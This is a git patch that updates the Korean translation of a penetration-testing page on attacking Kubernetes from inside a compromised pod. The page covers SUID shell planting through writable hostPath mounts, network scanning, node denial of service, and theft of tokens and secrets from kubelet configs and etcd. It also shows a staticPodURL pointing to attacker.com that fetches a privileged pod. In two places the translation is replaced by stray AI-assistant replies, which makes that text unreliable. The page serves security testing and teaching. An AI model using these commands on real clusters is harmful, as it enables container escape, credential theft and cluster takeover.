From 3ddd1b46bb686d92387c06a596dd4d0c75b57526 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:54:54 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube --- .../attacking-kubernetes-from-inside-a-pod.md | 198 +++++++++++------- 1 file changed, 125 insertions(+), 73 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index 9f162e894..8b178ffad 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -1,60 +1,104 @@ -# Kubernetes에서 Pod 내부에서 공격하기 +# Pod 내부에서 Kubernetes 공격하기 {{#include ../../banners/hacktricks-training.md}} -## **Pod 탈출** +## **Pod Breakout** -**운이 좋다면 노드로 탈출할 수 있을 것입니다:** +**운이 좋다면 Pod에서 노드로 탈출할 수 있습니다:** ![](https://sickrov.github.io/media/Screenshot-161.jpg) ### Pod에서 탈출하기 -Pod에서 탈출을 시도하기 위해서는 먼저 **권한 상승**을 해야 할 수도 있습니다. 이를 위한 몇 가지 기술은 다음과 같습니다: +Pod에서 탈출을 시도하려면 먼저 **escalate privileges**가 필요할 수 있습니다. 이를 위한 몇 가지 기법: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -당신이 침해한 Pod에서 탈출하기 위해 시도할 수 있는 **docker breakouts**를 확인할 수 있습니다: +권한을 얻은 Pod에서 탈출을 시도하는 데 사용할 수 있는 **docker breakouts**를 확인하세요: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}} -### Kubernetes 권한 남용 +### 쓰기 가능한 hostPath/bind mounts 악용하기 (container -> host root via SUID planting) -**kubernetes enumeration** 섹션에서 설명한 바와 같이: +만약 침해된 pod/container에 호스트 파일시스템에 직접 매핑되는 쓰기 가능한 볼륨(Kubernetes hostPath 또는 Docker bind mount)이 있고, 컨테이너 내부에서 root가 될 수 있다면, 그 마운트를 이용해 호스트에 setuid-root 바이너리를 만들어 호스트에서 실행하여 root 권한을 획득할 수 있습니다. + +주요 조건: +- 마운트된 볼륨이 컨테이너 내부에서 쓰기 가능해야 함 (readOnly: false 및 파일시스템 권한이 쓰기 허용). +- 마운트의 백엔드인 호스트 파일시스템이 nosuid 옵션으로 마운트되지 않아야 함. +- 호스트에서 심어진 바이너리를 실행할 방법이 있어야 함(예: 호스트에 대한 별도의 SSH/RCE, 호스트에 있는 사용자가 해당 바이너리를 실행할 수 있는 경우, 또는 해당 경로에서 바이너리를 실행하는 다른 벡터 등). + +쓰기 가능한 hostPath/bind mounts를 식별하는 방법: +- kubectl로 hostPath 볼륨 확인: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' +- 컨테이너 내부에서, 마운트 목록을 확인하고 host-path 마운트를 찾아 쓰기 가능 여부를 테스트: +```bash +# Inside the compromised container +mount | column -t +cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true +findmnt -T / 2>/dev/null | sed -n '1,200p' +# Test if a specific mount path is writable +TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path +[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR" +# Quick practical test +printf "ping\n" > "$TEST_DIR/.w" +``` +컨테이너에서 setuid root binary 심기: +```bash +# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID +MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory +cp /bin/bash "$MOUNT/suidbash" +chmod 6777 "$MOUNT/suidbash" +ls -l "$MOUNT/suidbash" +# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash +``` +호스트에서 실행하여 root 권한을 획득: +```bash +# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) +# Example host path: /opt/limesurvey/suidbash +ls -l /opt/limesurvey/suidbash +/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash +``` +Notes and troubleshooting: +- 호스트 마운트에 nosuid가 설정되어 있으면 setuid 비트는 무시됩니다. 호스트에서 마운트 옵션을 확인하세요 (cat /proc/mounts | grep ) 및 nosuid를 찾으세요. +- 호스트에서 실행할 수 있는 경로를 얻지 못하는 경우, 유사하게 쓰기 가능한 마운트를 악용해 매핑된 디렉터리가 보안상 중요한 경우 호스트에 다른 persistence/priv-esc artifacts를 쓸 수 있습니다(예: 마운트가 /root/.ssh로 매핑되어 있다면 root SSH key 추가, /etc로 매핑되어 있다면 cron/systemd unit 드롭, 호스트가 실행할 PATH의 root-owned 바이너리 교체 등). 실현 가능성은 전적으로 어떤 경로가 마운트되었는지에 달려 있습니다. +- 이 기법은 일반 Docker bind mounts에서도 동작합니다; Kubernetes에서는 보통 hostPath volume (readOnly: false) 또는 잘못 스코프된 subPath입니다. + +### Abusing Kubernetes Privileges + +As explained in the section about **kubernetes enumeration**: {{#ref}} kubernetes-enumeration.md {{#endref}} -일반적으로 Pod는 내부에 **서비스 계정 토큰**을 가지고 실행됩니다. 이 서비스 계정은 다른 Pod로 **이동**하거나 클러스터 내에 구성된 노드로 **탈출**하는 데 **남용**할 수 있는 **권한**이 있을 수 있습니다. 방법을 확인하세요: +Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### 클라우드 권한 남용 +### Abusing Cloud Privileges -Pod가 **클라우드 환경** 내에서 실행되는 경우, **메타데이터 엔드포인트에서 토큰을 유출**하고 이를 사용하여 권한을 상승시킬 수 있습니다. +If the pod is run inside a **클라우드 환경** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it. -## 취약한 네트워크 서비스 검색 +## Search vulnerable network services -Kubernetes 환경 내에 있으므로, 현재 Pod의 권한을 남용하여 권한을 상승시킬 수 없고 컨테이너에서 탈출할 수 없다면, **잠재적으로 취약한 서비스를 검색해야 합니다.** +As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **취약한 서비스들을 검색해야 합니다.** ### 서비스 -**이를 위해 Kubernetes 환경의 모든 서비스를 가져오려고 시도할 수 있습니다:** +**For this purpose, you can try to get all the services of the kubernetes environment:** ``` kubectl get svc --all-namespaces ``` -기본적으로 Kubernetes는 평면 네트워킹 스키마를 사용합니다. 이는 **클러스터 내의 모든 pod/service가 서로 통신할 수 있음을 의미합니다**. 클러스터 내의 **네임스페이스는 기본적으로 네트워크 보안 제한이 없습니다**. 네임스페이스 내의 누구나 다른 네임스페이스와 통신할 수 있습니다. +기본적으로 Kubernetes는 평면 네트워킹 스키마를 사용하므로 **클러스터 내의 어떤 pod/service든 서로 통신할 수 있습니다**. 클러스터 내의 **namespaces는 기본적으로 네트워크 보안 제한이 없습니다**. namespace에 있는 누구나 다른 namespace와 통신할 수 있습니다. ### 스캐닝 -다음 Bash 스크립트는 [Kubernetes 워크숍](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)에서 가져온 것으로, kubernetes 클러스터의 IP 범위를 설치하고 스캔합니다: +다음 Bash script(해당 내용은 [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)에서 가져옴)는 kubernetes cluster의 IP 범위를 설치하고 스캔합니다: ```bash sudo apt-get update sudo apt-get install nmap @@ -73,47 +117,46 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -다음 페이지를 확인하여 **Kubernetes 특정 서비스**를 **타격하여 다른 pods/모든 환경을 손상시키는 방법**을 배워보세요: +Check out the following page to learn how you could **Kubernetes specific services를 공격** to **다른 pods/전체 환경을 손상시키기**: {{#ref}} pentesting-kubernetes-services/ {{#endref}} -### 스니핑 +### Sniffing -**손상된 pod가 다른 pods가 인증해야 하는 민감한 서비스를 실행 중인 경우** 다른 pods에서 전송된 자격 증명을 **로컬 통신을 스니핑하여** 얻을 수 있습니다. +만약 **compromised pod가 민감한 서비스를 실행하고 있어** 다른 pods가 인증을 필요로 한다면, 로컬 통신을 **sniffing**하여 다른 pods가 전송하는 자격증명을 얻을 수 있습니다. -## 네트워크 스푸핑 +## Network Spoofing -기본적으로 **ARP 스푸핑**(그리고 그 덕분에 **DNS 스푸핑**)과 같은 기술은 Kubernetes 네트워크에서 작동합니다. 따라서 pod 내부에서 **NET_RAW 기능**이 있다면(기본적으로 제공됨), 사용자 정의 네트워크 패킷을 전송하고 **같은 노드에서 실행 중인 모든 pods에 대해 ARP 스푸핑을 통한 MitM 공격을 수행할 수 있습니다.**\ -게다가, **악성 pod**가 **DNS 서버와 같은 노드에서 실행 중인 경우**, 클러스터의 모든 pods에 대해 **DNS 스푸핑 공격을 수행할 수 있습니다.** +기본적으로 **ARP spoofing**(및 이로 인해 **DNS Spoofing**) 같은 기법은 kubernetes 네트워크에서 동작합니다. 따라서 pod 내부에서 기본적으로 부여된 **NET_RAW capability**를 가지고 있다면, 직접 제작한 네트워크 패킷을 전송하고 동일한 node에서 실행 중인 모든 pods에 대해 **ARP spoofing을 통한 MitM attacks**를 수행할 수 있습니다.**\** 또한, **malicious pod**가 **DNS Server와 동일한 node**에서 실행되고 있다면, 클러스터의 모든 pods에 대해 **DNS Spoofing attack**을 수행할 수 있습니다. {{#ref}} kubernetes-network-attacks.md {{#endref}} -## 노드 DoS +## Node DoS -Kubernetes 매니페스트에 리소스 사양이 없고 **컨테이너에 대한 제한** 범위가 적용되지 않습니다. 공격자로서 우리는 **pod/배포가 실행되는 모든 리소스를 소비하고** 다른 리소스를 고갈시켜 환경에 DoS를 유발할 수 있습니다. +Kubernetes manifests에 리소스에 대한 명세가 없고 컨테이너에 대한 **not applied limit** 범위가 설정되지 않은 경우가 많습니다. 공격자는 **pod/deployment가 실행되는 곳의 모든 리소스를 소비**하여 다른 리소스를 고갈시키고 환경에 DoS를 일으킬 수 있습니다. -이는 [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng)와 같은 도구를 사용하여 수행할 수 있습니다: +This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` -`stress-ng`를 실행하는 동안과 이후의 차이를 볼 수 있습니다. +다음은 `stress-ng`를 실행하는 동안과 실행 후의 차이를 볼 수 있습니다. ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` ## Node Post-Exploitation -컨테이너에서 **탈출**하는 데 성공했다면, 노드에서 흥미로운 것들을 발견할 수 있습니다: +If you managed to **escape from the container** there are some interesting things you will find in the node: - **Container Runtime** 프로세스 (Docker) -- 이와 같은 **pods/containers**에서 더 많은 것을 악용할 수 있습니다 (더 많은 토큰) -- 전체 **파일 시스템** 및 **OS** 전반 +- 노드에서 실행 중인 다른 **pods/containers** — 이와 유사하게 악용할 수 있음(더 많은 토큰) +- 전체 **filesystem** 및 전반적인 **OS** - **Kube-Proxy** 서비스가 수신 대기 중 -- **Kubelet** 서비스가 수신 대기 중. 구성 파일을 확인하세요: -- 디렉토리: `/var/lib/kubelet/` +- **Kubelet** 서비스가 수신 대기 중. 설정 파일 확인: +- Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` - `/var/lib/kubelet/config.yaml` @@ -121,20 +164,20 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx - `/etc/kubernetes/kubelet-kubeconfig` - `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system` - 기타 **kubernetes 공통 파일**: -- `$HOME/.kube/config` - **사용자 구성** -- `/etc/kubernetes/kubelet.conf`- **정규 구성** -- `/etc/kubernetes/bootstrap-kubelet.conf` - **부트스트랩 구성** +- `$HOME/.kube/config` - **사용자 설정 (User Config)** +- `/etc/kubernetes/kubelet.conf`- **일반 설정 (Regular Config)** +- `/etc/kubernetes/bootstrap-kubelet.conf` - **부트스트랩 설정 (Bootstrap Config)** - `/etc/kubernetes/manifests/etcd.yaml` - **etcd 구성** - `/etc/kubernetes/pki` - **Kubernetes 키** ### Find node kubeconfig -이전에 언급한 경로 중 하나에서 kubeconfig 파일을 찾을 수 없다면, **kubelet 프로세스의 `--kubeconfig` 인수를 확인하세요**: +이전에 언급한 경로 중 하나에서 kubeconfig 파일을 찾을 수 없다면, **kubelet 프로세스의 인자 `--kubeconfig`를 확인하세요**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` -### 비밀 훔치기 +### Secrets 훔치기 ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system @@ -155,110 +198,110 @@ echo "" fi done ``` -스크립트 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh)는 자동으로 **다른 팟의 토큰을 가져오고 당신이 찾고 있는 권한이 있는지 확인**합니다 (당신이 하나씩 찾는 대신): +스크립트 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh)는 자동으로 **다른 pods의 tokens을 가져와서 원하는 permission을 가지고 있는지 확인합니다** (하나씩 확인하는 대신): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` -### Privileged DaemonSets +### 권한 있는 DaemonSets -DaemonSet은 **클러스터의 모든 노드에서 실행될** **pod**입니다. 따라서, DaemonSet이 **privileged service account**로 구성되어 있다면, **모든 노드에서** 해당 **privileged service account**의 **token**을 찾을 수 있습니다. 이 **token**은 악용할 수 있습니다. +DaemonSet은 **pod**로, 클러스터의 **all the nodes of the cluster**에서 **run**됩니다. 따라서 DaemonSet이 **privileged service account**로 구성되어 있다면, **ALL the nodes**에서 해당 **privileged service account**의 **token**을 찾아 악용할 수 있습니다. -익스플로잇은 이전 섹션과 동일하지만, 이제 운에 의존하지 않습니다. +The exploit은 이전 섹션의 것과 동일하지만, 이제 운에 의존하지 않습니다. -### Pivot to Cloud +### 클라우드로 피벗 -클러스터가 클라우드 서비스에 의해 관리되는 경우, 일반적으로 **노드는 Pod와 다른 메타데이터** 엔드포인트에 접근할 수 있습니다. 따라서, **노드에서 메타데이터 엔드포인트에 접근**해 보십시오 (또는 hostNetwork가 True인 pod에서): +클러스터가 클라우드 서비스에 의해 관리되는 경우, 보통 **Node will have a different access to the metadata** endpoint는 **Pod**와 다른 접근 권한을 가집니다. 따라서 **access the metadata endpoint from the node**(또는 hostNetwork를 True로 설정한 pod에서) 시도해보세요: {{#ref}} kubernetes-pivoting-to-clouds.md {{#endref}} -### Steal etcd +### etcd 탈취 -컨테이너를 실행할 노드의 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)를 지정할 수 있다면, 제어-plane 노드 안에서 쉘을 얻고 **etcd 데이터베이스**를 가져오십시오: +컨테이너를 실행할 Node의 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)을 지정할 수 있다면, control-plane 노드로 셸을 얻어 **etcd database**를 가져오세요: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane 노드는 **role master**를 가지며 **클라우드 관리 클러스터에서는 이들에서 아무것도 실행할 수 없습니다**. +control-plane 노드는 **마스터 역할**을 가지며, **클라우드 관리형 클러스터에서는 그 안에서 어떤 것도 실행할 수 없습니다**. -#### etcd에서 비밀 읽기 1 +#### etcd에서 secrets 읽기 1 -`nodeName` 선택기를 사용하여 제어 평면 노드에서 포드를 실행할 수 있다면, 클러스터의 모든 구성과 모든 비밀을 포함하는 `etcd` 데이터베이스에 쉽게 접근할 수 있습니다. +pod spec의 `nodeName` selector를 사용해 control-plane 노드에서 pod을 실행할 수 있다면, 클러스터의 모든 구성(모든 secrets 포함)이 저장된 `etcd` 데이터베이스에 쉽게 접근할 수 있을 수 있습니다. -아래는 제어 평면 노드에서 실행 중인 `etcd`에서 비밀을 가져오는 빠르고 간단한 방법입니다. `etcd` 클라이언트 유틸리티 `etcdctl`을 사용하여 포드를 생성하고 제어 평면 노드의 자격 증명을 사용하여 `etcd`에 연결하는 더 우아한 솔루션을 원하신다면, @mauilion의 [이 예제 매니페스트](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)를 확인해 보세요. +아래는 현재 있는 control-plane 노드에서 `etcd`가 실행 중일 때 `etcd`에서 secrets를 가져오는 빠르고 간단한 방법입니다. `etcd` 클라이언트 유틸리티 `etcdctl`을 포함한 pod를 띄우고 control-plane 노드의 자격증명을 사용해 `etcd`가 어디서 실행되든 접속하는 더 우아한 솔루션을 원한다면, @mauilion의 [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)를 확인하세요. -**제어 평면 노드에서 `etcd`가 실행 중인지 확인하고 데이터베이스가 어디에 있는지 확인하세요 (이것은 `kubeadm`으로 생성된 클러스터입니다)** +**control-plane 노드에서 `etcd`가 실행 중인지, 데이터베이스가 어디에 있는지 확인하세요 (이 예시는 `kubeadm`으로 생성된 클러스터에서의 것입니다)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -I'm sorry, but I cannot provide the content from the specified file. However, I can help summarize or explain concepts related to Kubernetes security or any other topic you're interested in. Let me know how you'd like to proceed! +I don't have the content of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Please paste the markdown you want translated, and I'll return the Korean translation preserving all tags, links, paths, and code. ```bash data-dir=/var/lib/etcd ``` -**etcd 데이터 보기:** +**etcd 데이터베이스의 데이터 보기:** ```bash strings /var/lib/etcd/member/snap/db | less ``` -**데이터베이스에서 토큰을 추출하고 서비스 계정 이름을 표시합니다** +**데이터베이스에서 tokens를 추출하고 service account 이름을 표시하세요** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**같은 명령이지만, kube-system 네임스페이스에서 기본 토큰만 반환하도록 일부 greps** +**같은 명령이지만 kube-system 네임스페이스에서 default token만 반환하도록 몇 개의 grep을 사용** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` -I'm sorry, but I cannot provide the content from the specified file. However, I can help summarize or explain concepts related to Kubernetes security or any other topic you're interested in. Let me know how you'd like to proceed! +번역할 파일의 마크다운 내용을 붙여 넣어 주세요. 경로만으로는 파일에 접근할 수 없습니다. ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) +#### etcd에서 secrets 읽기 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. **`etcd`** 데이터베이스의 스냅샷을 생성합니다. 추가 정보는 [**이 스크립트**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160)를 확인하세요. -2. 좋아하는 방법으로 **`etcd`** 스냅샷을 노드에서 전송합니다. +1. **`etcd`** 데이터베이스의 스냅샷을 생성합니다. 자세한 내용은 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160)를 확인하세요. +2. 선호하는 방법으로 노드에서 **`etcd`** 스냅샷을 외부로 전송합니다. 3. 데이터베이스를 압축 해제합니다: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. 로컬 머신에서 **`etcd`**를 시작하고 도난당한 스냅샷을 사용하도록 설정합니다: +4. 로컬 머신에서 **`etcd`**를 시작하고 도난당한 스냅샷을 사용하도록 설정하세요: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' ``` -5. 모든 비밀 목록: +5. 모든 secrets 나열: ```bash etcdctl get "" --prefix --keys-only | grep secret ``` -6. 비밀 얻기: +6. 시크릿 가져오기: ```bash etcdctl get /registry/secrets/default/my-secret ``` ### Static/Mirrored Pods Persistence -_Static Pods_는 API 서버가 관찰하지 않는 특정 노드의 kubelet 데몬에 의해 직접 관리됩니다. 제어 평면에 의해 관리되는 Pods(예: Deployment)와는 달리, **kubelet은 각 static Pod를 감시**하고 실패할 경우 재시작합니다. +_Static Pods_는 특정 노드에서 kubelet 데몬에 의해 API server의 관여 없이 직접 관리됩니다. 제어 플레인(예: Deployment)에 의해 관리되는 Pods와 달리, **kubelet은 각 static Pod를 감시**하며(실패하면 재시작합니다). -따라서 static Pods는 항상 **특정 노드의 하나의 Kubelet에 바인딩**됩니다. +따라서 static Pods는 항상 특정 노드의 **하나의 kubelet에 바인딩**됩니다. -**kubelet은 각 static Pod에 대해 Kubernetes API 서버에 미러 Pod를 자동으로 생성하려고 시도합니다.** 이는 노드에서 실행 중인 Pods가 API 서버에서 볼 수 있지만, 거기서 제어할 수 없음을 의미합니다. Pod 이름은 노드 호스트 이름에 하이픈을 앞에 붙여서 접미사가 붙습니다. +**kubelet은 각 static Pod에 대해 Kubernetes API server에 mirror Pod를 자동으로 생성하려고 합니다.** 이는 노드에서 실행 중인 Pods가 API server에서 보이지만 그곳에서 제어할 수는 없다는 의미입니다. Pod 이름은 노드 호스트명으로 접미사가 붙고 앞에 하이픈이 추가됩니다. > [!CAUTION] -> **정적 Pod의 `spec`은 다른 API 객체를 참조할 수 없습니다** (예: ServiceAccount, ConfigMap, Secret 등). 따라서 **현재 노드에서 임의의 serviceAccount로 pod를 시작하기 위해 이 동작을 악용할 수 없습니다.** 그러나 이는 다른 네임스페이스에서 pods를 실행하는 데 사용할 수 있습니다(어떤 이유로든 유용할 경우). +> static Pod의 **`spec`은 다른 API 객체를 참조할 수 없습니다**(예: ServiceAccount, ConfigMap, Secret 등). 따라서 **이 동작을 악용해 현재 노드에서 임의의 ServiceAccount로 pod를 띄워 클러스터를 완전히 탈취할 수는 없습니다.** 다만 상황에 따라 유용할 수 있으므로 다른 네임스페이스에서 pod를 실행하는 용도로는 사용할 수 있습니다. -노드 호스트 내부에 있는 경우 **자신 내부에 static pod를 생성**하도록 만들 수 있습니다. 이는 **kube-system**과 같은 다른 네임스페이스에 pod를 생성할 수 있게 해주기 때문에 매우 유용합니다. +노드 호스트 내부에 있다면 해당 호스트가 **자기 자신 안에 static pod를 생성하도록 만들 수 있습니다.** 이는 **kube-system** 같은 **다른 네임스페이스에 pod를 생성**할 수 있게 해 줄 수 있어 매우 유용합니다. -static pod를 생성하기 위해서는 [**문서가 큰 도움이 됩니다**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). 기본적으로 2가지가 필요합니다: +static pod를 생성하려면 [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)를 참고하세요. 기본적으로 다음 두 가지가 필요합니다: -- **kubelet 서비스**에서 **`--pod-manifest-path=/etc/kubernetes/manifests`** 매개변수를 구성하거나 **kubelet 구성**에서 ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) 서비스를 재시작합니다. -- **`/etc/kubernetes/manifests`**에 **pod 정의**를 생성합니다. +- **kubelet service**에서 또는 **kubelet config**([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration))에 **`--pod-manifest-path=/etc/kubernetes/manifests`** 파라미터를 설정하고 서비스를 재시작 +- **`/etc/kubernetes/manifests`**에 pod 정의 파일을 생성 -**더 은밀한 방법은 다음과 같습니다:** +**좀 더 은밀한 방법은 다음과 같습니다:** -- **kubelet** 구성 파일에서 **`staticPodURL`** 매개변수를 수정하고 `staticPodURL: http://attacker.com:8765/pod.yaml`와 같은 값을 설정합니다. 이렇게 하면 kubelet 프로세스가 **지정된 URL에서 구성**을 가져와 **static pod**를 생성합니다. +- **kubelet** 설정 파일의 **`staticPodURL`** 파라미터를 수정하여 `staticPodURL: http://attacker.com:8765/pod.yaml` 같은 값을 설정합니다. 그러면 kubelet 프로세스가 지정된 URL에서 구성을 받아 **static pod를 생성**합니다. -**kube-system**에서 권한 있는 pod를 생성하기 위한 **pod** 구성의 **예**는 [**여기**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/)에서 가져온 것입니다: +**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml apiVersion: v1 kind: Pod @@ -284,10 +327,10 @@ hostPath: path: / type: Directory ``` -### 포드 삭제 + 스케줄 불가능한 노드 +### Delete pods + unschedulable nodes -공격자가 **노드를 침해**하고 다른 노드에서 **포드를 삭제**할 수 있으며 **다른 노드가 포드를 실행할 수 없게 만들면**, 포드는 침해된 노드에서 다시 실행되고 그는 그 안에서 실행되는 **토큰을 훔칠 수 있습니다**.\ -[**자세한 정보는 이 링크를 참조하세요**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). +공격자가 **compromised a node** 상태이고 다른 노드에서 **delete pods**를 수행하거나 다른 노드들을 **make other nodes not able to execute pods** 상태로 만들 수 있다면, pods는 침해된 node에서 다시 실행되고 공격자는 그 안에서 실행되는 **steal the tokens**을 탈취할 수 있습니다.\ +[**자세한 내용은 이 링크를 참조하세요**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). ## 자동 도구 @@ -353,4 +396,13 @@ Off-Menu + ``` - [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI) +## 참조 + +- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html) +- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath) +- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/) +- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash) +- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html) +- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates) + {{#include ../../banners/hacktricks-training.md}}